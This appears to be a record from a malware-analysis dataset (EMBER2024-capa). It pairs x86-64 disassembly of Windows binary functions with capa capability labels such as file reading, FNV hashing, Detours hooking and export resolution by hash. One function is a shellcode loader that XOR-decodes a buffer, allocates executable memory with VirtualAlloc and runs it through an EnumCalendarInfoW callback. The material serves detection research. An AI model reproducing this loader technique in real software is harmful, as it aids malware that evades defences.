joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180036c60
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.1800371f0
mov qword [rsp + 0x28], 0
cmp qword [0x18004a6f8], 0
jne 0x180036ca8
cmp qword [0x18004a6f0], 0
je 0x180036ca8
mov rax, qword [0x18004a6f0]
mov qword [0x18004a6f8], rax
cmp qword [0x18004a6f8], 0
je 0x180036d4e
mov rax, qword [0x18004a6f8]
cmp qword [rax + 0x10], 0
je 0x180036d4e
mov rax, qword [0x18004a6f8]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x180036d4e
mov rax, qword [0x18004a6f8]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x180036d4e
mov rax, qword [0x18004a6f8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x180036d14
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x180036d1b
xor eax, eax
jmp 0x180036ec9
mov rax, qword [0x18004a6f8]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call sub.VCRUNTIME140.dll_memset
mov rax, qword [rsp + 0x28]
jmp 0x180036ec9
mov rax, qword [0x18004a6f0]
mov qword [0x18004a6f8], rax
jmp 0x180036d70
mov rax, qword [0x18004a6f8]
mov rax, qword [rax + 8]
mov qword [0x18004a6f8], rax
cmp qword [0x18004a6f8], 0
je 0x180036dbd
cmp qword [0x18004a6f8], 0
je 0x180036dbb
mov rax, qword [0x18004a6f8]
cmp qword [rax + 0x10], 0
je 0x180036dbb
mov rax, qword [0x18004a6f8]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x180036dbb
mov rax, qword [0x18004a6f8]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x180036dbb
jmp 0x180036cec
jmp 0x180036d5e
mov rcx, qword [rsp + 0x60]
call fcn.180038e20
and eax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.180036ed0
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x180036ec7
mov rax, qword [rsp + 0x48]
mov qword [0x18004a6f8], rax
mov rax, qword [0x18004a6f8]
mov dword [rax], 0x52727464
mov rax, qword [0x18004a6f8]
mov qword [rax + 0x10], 0
mov rax, qword [0x18004a6f8]
mov rcx, qword [0x18004a6f0]
mov qword [rax + 8], rcx
mov rax, qword [0x18004a6f8]
mov qword [0x18004a6f0], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x18004a6f8]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x180036e78
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x180036eb2
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x180036e6e
mov rax, qword [0x18004a6f8]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x180036cec
xor eax, eax
add rsp, 0x58
ret
Function at 0x14016b334
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x78
mov dword [rsp + 0x6c], edx
mov qword [rsp + 0x60], rcx
cmp qword [rsp + 0x60], 0
jne 0x14016b35b
mov qword [rsp + 0x70], 0
jmp 0x14016b495
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14016b37f
mov qword [rsp + 0x70], 0
jmp 0x14016b495
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14016b3af
mov qword [rsp + 0x70], 0
jmp 0x14016b495
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0x88]
add rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0x20]
add rax, rcx
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x3c], 0
mov eax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x48]
cmp eax, dword [rcx + 0x18]
jae 0x14016b48c
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
mov edx, dword [rsp + 0x3c]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
mov edx, 0x911c9ac5
call fcn.14016c42a
cmp eax, dword [rsp + 0x6c]
jne 0x14016b477
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0x24]
add rax, rcx
mov ecx, dword [rsp + 0x3c]
movzx eax, word [rax + rcx*2]
mov dword [rsp + 0x2c], eax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x48]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov edx, dword [rsp + 0x2c]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x70], rax
jmp 0x14016b495
jmp 0x14016b47c
mov eax, dword [rsp + 0x3c]
add eax, 1
mov dword [rsp + 0x3c], eax
jmp 0x14016b3e4
mov qword [rsp + 0x70], 0
mov rax, qword [rsp + 0x70]
add rsp, 0x78
ret

Function at 0x14016c3c0
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x38
mov dword [rsp + 0x34], edx
mov qword [rsp + 0x28], rcx
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
cmp eax, 0
jne 0x14016c3eb
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x24], eax
jmp 0x14016c40f
imul edx, dword [rsp + 0x34], 0x1000193
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
xor edx, eax
mov rcx, qword [rsp + 0x28]
add rcx, 2
call fcn.14016c3c0
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
add rsp, 0x38
ret

Function at 0x14016c42a
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x38
mov dword [rsp + 0x34], edx
mov qword [rsp + 0x28], rcx
mov rax, qword [rsp + 0x28]
movsx eax, byte [rax]
cmp eax, 0
jne 0x14016c455
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x24], eax
jmp 0x14016c479
imul edx, dword [rsp + 0x34], 0x1000193
mov rax, qword [rsp + 0x28]
movsx eax, byte [rax]
xor edx, eax
mov rcx, qword [rsp + 0x28]
add rcx, 1
call fcn.14016c42a
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
add rsp, 0x38
ret
Function at 0x140004158
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14000ced0
mov rax, rcx
neg rcx
test rax, 7
je 0x14000ceed
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x14000cf48
test al, 7
jne 0x14000cee0
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x14000cf01
mov rdx, qword [rax - 8]
test dl, dl
je 0x14000cf72
test dh, dh
je 0x14000cf6c
shr rdx, 0x10
test dl, dl
je 0x14000cf66
test dh, dh
je 0x14000cf60
shr rdx, 0x10
test dl, dl
je 0x14000cf5a
test dh, dh
je 0x14000cf54
shr edx, 0x10
test dl, dl
je 0x14000cf4e
test dh, dh
jne 0x14000cf01
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x140005004
Capabilities:
Encode data using xor

Disassembly:
xor r10d, r10d
mov r11, rdx
test rdx, rdx
je 0x140005027
xor edx, edx
mov rax, r10
div r9
mov al, byte [rdx + r8]
xor byte [r10 + rcx], al
inc r10
cmp r10, r11
jb 0x14000500f
ret

Function at 0x140005028
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rdi, r8
mov rbp, rdx
mov rsi, rcx
test r8, r8
jg 0x14000504f
xor eax, eax
jmp 0x140005130
cmp qword [rcx + 0x68], 0
je 0x140005060
call fcn.140005144
jmp 0x140005130
mov rbx, rdi
mov qword [rsp + 0x50], rbx
call fcn.1400031c0
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1400050b6
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.1400017e4
mov rcx, rsi
mov rbx, qword [rax]
call fcn.140004068
mov rdx, rax
mov r8, rbx
mov rcx, rbp
call fcn.140003c5c
sub qword [rsp + 0x50], rbx
mov edx, ebx
mov rcx, rsi
add rbp, rbx
call fcn.140004000
mov rbx, qword [rsp + 0x50]
cmp qword [rsi + 0x80], 0
je 0x14000512a
mov rcx, rsi
call fcn.140003724
mov rbx, qword [rsp + 0x50]
mov r14d, 0xfff
jmp 0x140005101
mov r9, qword [rsi + 0x80]
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.14000dd14
mov rbx, qword [rsp + 0x50]
add rbp, rax
sub rbx, rax
mov qword [rsp + 0x50], rbx
cmp rax, r14
jne 0x14000512a
cmp rbx, r14
ja 0x1400050d5
test rbx, rbx
je 0x14000512a
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, rbp
call fcn.14000dd14
mov rbx, qword [rsp + 0x50]
sub rbx, rax
sub rdi, rbx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x140005364
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
lea rdx, str.1234
lea rcx, [rsp + 0x58]
call fcn.140001d1c
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x70]
call fcn.140001a30
nop
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rbp - 0x70]
call fcn.1400047f4
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x70]
call fcn.140004c6c
mov rcx, rax
call fcn.1400027bc
mov rsi, rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x70]
call fcn.1400047f4
lea rcx, [rbp + 0xd0]
call fcn.140001370
mov r8, rax
mov rdx, rsi
lea rcx, [rsp + 0x40]
call fcn.140001e50
nop
lea rcx, [rsp + 0x40]
call fcn.140003958
mov rdx, rax
mov r8, rsi
lea rcx, [rbp - 0x70]
call fcn.1400046f0
lea rcx, [rbp - 0x70]
call fcn.140003c28
movsd xmm0, qword [str.kujghioauf]
movsd qword [rsp + 0x30], xmm0
movzx eax, word [0x1400267f8]
mov word [rsp + 0x38], ax
mov al, byte [0x1400267fa]
mov byte [rsp + 0x3a], al
lea rcx, [rsp + 0x40]
call fcn.140003958
mov rcx, rax
mov r9d, 0xa
lea r8, [rsp + 0x30]
mov rdx, rsi
call fcn.140005004
mov rcx, rsi
call fcn.140002d6c
mov rdi, rax
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x40]
call fcn.140003e3c
mov rbx, rax
lea rdx, [rbp + 0xd8]
lea rcx, [rsp + 0x40]
call fcn.140003abc
mov r8, rdi
mov rdx, qword [rbx]
mov rcx, qword [rax]
call fcn.140001738
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.1400074e0
mov r9d, 0x15
or r8d, 0xffffffff
mov edx, 0x400
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rcx, rdi
call fcn.140006658
nop
lea rcx, [rsp + 0x40]
call fcn.1400025cc
nop
lea rcx, [rbp - 0x70]
call fcn.1400028d8
nop
lea rcx, [rsp + 0x58]
call fcn.140002568
xor eax, eax
mov rbx, qword [rsp + 0x1c0]
add rsp, 0x1a0
pop rdi
pop rsi
pop rbp
ret

Function at 0x140007094
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400070de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400070de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400070de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400070de
cmp dword [rcx + 0x84], 0xe
jbe 0x1400070de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400070e0
xor al, al
add rsp, 0x28
ret

Function at 0x14001311c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140012f0c
Function at 0x140018264
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x140018296
call fcn.14000f804
mov dword [rax], 0x16
call fcn.14000ce24
jmp 0x1400183b5
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1400183b5
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1400183b5
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x1400182c5
lock or dword [rcx + 0x14], 0x10
jmp 0x1400183b5
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x1400182d9
call fcn.140019a14
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.14001702c
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.140019044
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x1400183a3
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x14001836e
mov rcx, rsi
call fcn.14001702c
cmp eax, edi
je 0x140018359
mov rcx, rsi
call fcn.14001702c
cmp eax, 0xfffffffe
je 0x140018359
mov rcx, rsi
call fcn.14001702c
movsxd rbx, eax
lea r14, [0x14003a330]
mov rcx, rsi
sar rbx, 6
call fcn.14001702c
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x140018360
lea rdx, [0x140038410]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14001836e
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x140018392
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x140018392
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x140018392
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x1400183b8
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x1400186e0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140006c10
sub rsp, rax
mov rax, qword [0x140038068]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001702c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14001872f
mov rax, rbp
jmp 0x140018837
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x3a330]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14001981c
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x3a330]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140018833
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018833
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14001981c
test rax, rax
js 0x140018833
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140018833
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140018825
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140018825
cmp byte [rcx], 0xd
jne 0x14001880b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14001881a
cmp byte [rcx + 1], 0xa
jne 0x14001881a
inc rcx
jmp 0x14001881a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x38460]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1400187ed
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140018837
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140006be0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140018b98
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x14003a330]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x140018bf6
cmp word [rdx], r12w
jne 0x140018bf6
or byte [rax + r8*8 + 0x38], cl
jmp 0x140018bfc
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x140018d57
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x140018d32
lea r9, [rcx + 2]
cmp ax, r13w
je 0x140018c35
mov rcx, r9
jmp 0x140018c58
cmp r9, rdx
jae 0x140018c6f
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x140018c19
jmp 0x140018d57
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018d2c
cmp dword [rsp + 0x80], edi
je 0x140018d2c
mov rdx, r14
lea r11, [0x14003a330]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x140018d05
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x140018cd8
mov word [rbx], r12w
jmp 0x140018d53
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x140018ce1
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x140018d53
cmp word [rsp + 0x70], r12w
jne 0x140018d12
cmp rbx, rsi
je 0x140018cd2
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.140019824
cmp word [rsp + 0x70], r12w
je 0x140018d57
mov word [rbx], r13w
jmp 0x140018d53
lea r11, [0x14003a330]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x140018d4f
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x140018d57
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14001d908
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14001d938
xor eax, eax
jmp 0x14001d9fb
mov rbp, rbx
cmp word [rax], si
je 0x14001d95d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14001d944
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001d940
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14001bf34
movsxd r14, eax
test eax, eax
jne 0x14001d99b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001d931
mov rcx, r14
call fcn.140019a80
mov rdi, rax
test rax, rax
jne 0x14001d9b4
xor ecx, ecx
call fcn.1400161c4
jmp 0x14001d990
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14001bf34
test eax, eax
jne 0x14001d9e5
mov rcx, rdi
call fcn.1400161c4
jmp 0x14001d9ef
xor ecx, ecx
call fcn.1400161c4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400232d4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000f824
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14002335e
cmp byte [rbp - 0x21], r15b
je 0x140023359
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140023394
call fcn.140016540
test eax, eax
jne 0x140023380
cmp byte [rbp - 0x21], r15b
je 0x140023378
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140023394
cmp byte [rbp - 0x21], r15b
je 0x140023391
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140011f18
test eax, eax
jne 0x140023434
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000f824
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400233d3
cmp byte [rbp - 0x21], r15b
je 0x140023408
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140023408
call fcn.140016540
test eax, eax
jne 0x1400233f4
cmp byte [rbp - 0x21], r15b
je 0x1400233ed
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140023408
cmp byte [rbp - 0x21], r15b
je 0x140023405
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140011f18
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140023434
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140023437
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140023445
mov rcx, rdi
call fcn.1400161c4
cmp byte [rbp + 0x3f], r15b
je 0x140023454
mov rcx, qword [rbp + 0x27]
call fcn.1400161c4
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140023a90
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140019824
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140019824
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140023be0
cmp rax, 0xffffffffffffffff
je 0x140023be0
xor edi, edi
test rbp, rbp
jle 0x140023b8b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140016200
mov rbx, rax
test rax, rax
jne 0x140023b18
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140023b81
mov edx, 0x8000
mov ecx, r14d
call fcn.140013198
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140017f54
cmp eax, 0xffffffff
je 0x140023b61
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140023b28
mov edx, r15d
mov ecx, r14d
call fcn.140013198
jmp 0x140023b81
cmp byte [rsi + 0x38], dil
je 0x140023b78
cmp dword [rsi + 0x34], 5
jne 0x140023b78
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140023b81
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400161c4
jmp 0x140023bf4
jns 0x140023bf4
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140019824
cmp rax, 0xffffffffffffffff
jne 0x140023bac
cmp byte [rsi + 0x30], dil
je 0x140023bf4
mov edi, dword [rsi + 0x2c]
jmp 0x140023bf4
mov ecx, r14d
call fcn.14001e348
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140023bf4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
